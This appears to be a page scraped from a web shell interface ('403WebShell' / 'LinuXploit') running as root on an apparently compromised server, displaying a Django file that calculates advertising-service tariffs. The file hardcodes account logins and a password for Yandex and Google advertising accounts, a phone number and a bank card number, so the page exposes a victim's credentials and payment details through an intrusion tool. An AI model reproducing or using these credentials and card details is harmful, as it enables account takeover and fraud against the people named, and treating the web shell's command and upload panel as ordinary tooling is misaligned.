Uname:Linux mail.sarafai.ru 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

403WebShell
403Webshell
Server IP : 82.148.16.210  /  Your IP : 216.73.216.19
Web Server : nginx/1.29.5
System : Linux mail.sarafai.ru 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
User : root ( 0)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/projects/env1/src/project/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/projects/env1/src/project/tariffs.py
import datetime

from django.views.generic import TemplateView


class TariffsMixin(TemplateView):
    def get_context_data(self, **kwargs):
        ctx = super().get_context_data(**kwargs)

        ctx_prefix = 'tariff'

        # Дата старта
        current_date = datetime.datetime.today()
        # Тестирование
        # current_date = datetime.datetime(2024, 8, 17)

        print('current_date', current_date)
        ctx[f'{ctx_prefix}_current_date'] = current_date

        # start_date = '2021-08-15'
        tariff_1 = datetime.datetime(2021, 8, 15)  # Tariff-1
        print('tariff_1', tariff_1)
        ctx[f'{ctx_prefix}_tariff_1'] = tariff_1

        tariff_2 = datetime.datetime(2022, 2, 15)  # Tariff-2
        print('tariff_2', tariff_2)
        ctx[f'{ctx_prefix}_tariff_2'] = tariff_2

        tariff_3 = datetime.datetime(2022, 8, 15)  # Tariff-3
        print('tariff_3', tariff_3)
        ctx[f'{ctx_prefix}_tariff_3'] = tariff_3

        #

        # Кол-во сотрудников в проекте
        user_count = 3
        print('user_count', user_count)
        ctx[f'{ctx_prefix}_user_count'] = user_count

        # Кол-во сотрудников в Яндекс.Директ
        user_count_yandex = 2
        print('user_count_yandex', user_count_yandex)
        ctx[f'{ctx_prefix}_user_count_yandex'] = user_count_yandex

        # Кол-во сотрудников в Google.Реклама
        user_count_google = 1
        print('user_count_google', user_count_google)
        ctx[f'{ctx_prefix}_user_count_google'] = user_count_google

        #

        # Ежегодный платеж за техническую площадку
        payment_technical_yearly = 0

        # https://docs.google.com/spreadsheets/d/1RW22fwIXsVNJN4oGaNWjaXqaoriPUAaKOSNb1y26dWI/edit#gid=205788567

        # Это технический платеж, берется только один раз в году.
        # Счет выставляется один раз в году, и действует 1 месяц.
        # !!! Это баг, т.к. если Сотрудник не оплатит счет вовремя, то ему повторно не будет выставлен счет.
        # Нужно контролировать это вручную!
        # Можно "размазать" этот платеж по всему году, тогда к каждому месяцу нужно добавить 187,5 руб. ~ 200 руб.

        if datetime.datetime(2021, 8, 15) < current_date < datetime.datetime(2021, 9, 15):
            payment_technical_yearly = 1750
        if datetime.datetime(2022, 8, 15) < current_date < datetime.datetime(2022, 9, 15):
            payment_technical_yearly = 2250
        if datetime.datetime(2023, 8, 15) < current_date < datetime.datetime(2023, 9, 15):
            payment_technical_yearly = 2250
        if datetime.datetime(2024, 8, 15) < current_date < datetime.datetime(2024, 9, 15):
            payment_technical_yearly = 2500
        if datetime.datetime(2025, 8, 15) < current_date < datetime.datetime(2025, 9, 15):
            payment_technical_yearly = 2750
        if datetime.datetime(2026, 8, 15) < current_date < datetime.datetime(2026, 9, 15):
            payment_technical_yearly = 2750

        print('payment_technical_yearly', payment_technical_yearly)
        ctx[f'{ctx_prefix}_payment_technical_yearly'] = payment_technical_yearly

        payment_technical_yearly_all_users = payment_technical_yearly * user_count
        print('payment_technical_yearly_all_users', payment_technical_yearly_all_users)
        ctx[f'{ctx_prefix}_payment_technical_yearly_all_users'] = payment_technical_yearly_all_users

        #

        # Ежемесячный платеж Сотрудника
        payment_monthly = 2750 + payment_technical_yearly  # Стандартное значение + Ежегодный платеж

        # https://docs.google.com/spreadsheets/d/1RW22fwIXsVNJN4oGaNWjaXqaoriPUAaKOSNb1y26dWI/edit#gid=205788567
        # 2021-08-15 < TODAY       < 2022-02-15
        if tariff_1 < current_date < tariff_2:
            payment_monthly = 2750 + payment_technical_yearly
        # 2022-02-15 < TODAY       < 2022-08-15
        if tariff_2 < current_date < tariff_3:
            payment_monthly = 3800 + payment_technical_yearly
        # 2022-08-15 < TODAY
        if tariff_3 < current_date:
            payment_monthly = 4850 + payment_technical_yearly

        print('payment_monthly', payment_monthly)
        ctx[f'{ctx_prefix}_payment_monthly'] = payment_monthly

        #

        # Комиссия проекта, заработная плата тех.специалистов
        project_commission = 500

        # https://docs.google.com/spreadsheets/d/1RW22fwIXsVNJN4oGaNWjaXqaoriPUAaKOSNb1y26dWI/edit#gid=205788567
        # 2021-08-15 < TODAY       < 2022-02-15
        if tariff_1 < current_date < tariff_2:
            project_commission = 500
        # 2022-02-15 < TODAY       < 2022-08-15
        if tariff_2 < current_date < tariff_3:
            project_commission = 800
        # 2022-08-15 < TODAY
        if tariff_3 < current_date:
            project_commission = 1100

        print('project_commission', project_commission)
        ctx[f'{ctx_prefix}_project_commission'] = project_commission

        #

        # Ежемесячный платеж Сотрудника без учета комиссии проекта (за каждого Сотрудника)
        payment_monthly_item = payment_monthly - project_commission - payment_technical_yearly
        print('payment_monthly_item', payment_monthly_item)
        ctx[f'{ctx_prefix}_payment_monthly_item'] = payment_monthly_item

        #

        # Ежемесячный платеж Яндекс
        payment_monthly_yandex = (payment_monthly - project_commission - payment_technical_yearly) * user_count_yandex
        print('payment_monthly_yandex', payment_monthly_yandex)
        ctx[f'{ctx_prefix}_payment_monthly_yandex'] = payment_monthly_yandex

        # Ежемесячный платеж Google
        payment_monthly_google = (payment_monthly - project_commission - payment_technical_yearly) * user_count_google
        print('payment_monthly_google', payment_monthly_google)
        ctx[f'{ctx_prefix}_payment_monthly_google'] = payment_monthly_google

        #

        # Ежемесячный платеж комиссии проекта, заработная плата тех.специалистов
        payment_monthly_project_commission = (project_commission + payment_technical_yearly) * user_count
        print('payment_monthly_project_commission', payment_monthly_project_commission)
        ctx[f'{ctx_prefix}_payment_monthly_project_commission'] = payment_monthly_project_commission

        # Ежемесячный платеж комиссии проекта, заработная плата тех.специалистов (без ежегодного платежа)
        payment_monthly_project_commission_wo_yearly = (project_commission) * user_count
        print('payment_monthly_project_commission_wo_yearly', payment_monthly_project_commission_wo_yearly)
        ctx[f'{ctx_prefix}_payment_monthly_project_commission_wo_yearly'] = payment_monthly_project_commission_wo_yearly


        # # Ежемесячный платеж комиссии проекта, заработная плата тех.специалистов
        # payment_early_technical = (project_commission + payment_technical_yearly) * user_count
        # print('payment_monthly_project_commission', payment_monthly_project_commission)
        # ctx[f'{ctx_prefix}_payment_monthly_project_commission'] = payment_monthly_project_commission

        # Ежемесячный платеж ВСЕГО
        payment_monthly_total = payment_monthly * user_count
        print('payment_monthly_total', payment_monthly_total)
        ctx[f'{ctx_prefix}_payment_monthly_total'] = payment_monthly_total

        #

        # Аккаунты рекламы
        account_yandex_login = 'gr.zhritsa@yandex.ru'
        account_yandex_secret = 'zhricailman3317'
        account_yandex_secret_advanced = ''
        account_yandex_action = 'https://direct.yandex.ru'
        account_yandex_help_frame = 'https://www.youtube.com/embed/t3xYsxdzzas'
        account_yandex_help_link = 'https://youtu.be/t3xYsxdzzas'
        account_yandex_help_title = 'Памятка об оплате рекламной кампании в Яндекс.Директ'
        ctx[f'{ctx_prefix}_account_yandex_login'] = account_yandex_login
        ctx[f'{ctx_prefix}_account_yandex_secret'] = account_yandex_secret
        ctx[f'{ctx_prefix}_account_yandex_secret_advanced'] = account_yandex_secret_advanced
        ctx[f'{ctx_prefix}_account_yandex_action'] = account_yandex_action
        ctx[f'{ctx_prefix}_account_yandex_help_frame'] = account_yandex_help_frame
        ctx[f'{ctx_prefix}_account_yandex_help_link'] = account_yandex_help_link
        ctx[f'{ctx_prefix}_account_yandex_help_title'] = account_yandex_help_title

        account_google_login = 'gruppazrica@gmail.com'
        account_google_secret = 'zhricailman3317'
        account_google_secret_advanced = 'бах'
        account_google_action = 'https://bit.ly/3CqE5bW'
        account_google_help_frame = 'https://www.youtube.com/embed/swJbhpMLeAI'
        account_google_help_link = 'https://youtu.be/swJbhpMLeAI'
        account_google_help_title = 'Памятка об оплате рекламной кампании Google.Реклама'
        ctx[f'{ctx_prefix}_account_google_login'] = account_google_login
        ctx[f'{ctx_prefix}_account_google_secret'] = account_google_secret
        ctx[f'{ctx_prefix}_account_google_secret_advanced'] = account_google_secret_advanced
        ctx[f'{ctx_prefix}_account_google_action'] = account_google_action
        ctx[f'{ctx_prefix}_account_google_help_frame'] = account_google_help_frame
        ctx[f'{ctx_prefix}_account_google_help_link'] = account_google_help_link
        ctx[f'{ctx_prefix}_account_google_help_title'] = account_google_help_title

        #

        # Техподдержка
        project_support_phone = '+7 905 771-72-77'
        ctx[f'{ctx_prefix}_project_support_phone'] = project_support_phone

        project_support_card = '5469 3800 1991 3861'
        ctx[f'{ctx_prefix}_project_support_card'] = project_support_card

        return ctx


Youez - 2016 - github.com/yon3zu
LinuXploit